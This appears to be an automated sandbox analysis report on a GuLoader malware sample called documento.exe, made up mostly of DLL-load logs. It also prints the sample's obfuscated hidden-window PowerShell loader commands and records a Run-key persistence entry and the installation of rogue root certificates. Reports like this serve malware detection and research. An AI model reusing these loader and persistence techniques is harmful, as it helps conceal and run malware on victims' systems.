Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: shcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn2.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: shcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wow64win.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wow64cpu.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: secur32.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: webio.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: nlaapi.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rpcrtremote.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: credssp.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: bcrypt.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winmm.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: shcore.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rstrtmgr.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll

Source: C:\Users\user\Desktop\documento.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\documento.exe

File written: C:\Users\user\Documents\Illoyalitet.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: documento.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: :\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000003.00000002.538026675.0000000005060000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000013.00000002.791285733.00000000085E1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.538410512.000000000839B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"

Suspicious powershell command line found

Source: C:\Users\user\Desktop\documento.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Preeternal)
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Preeternal)
Source: C:\Users\user\Desktop\documento.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0026AB91 push es; retf	3_2_0026ABA7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00262DE7 push ebx; ret	3_2_00262DEA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_002625DD push ebx; retf	3_2_002625EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_0038AD38 push ecx; retf	15_2_0038D189
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_0038D180 push ecx; retf	15_2_0038D189

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Startup key			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Startup key			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
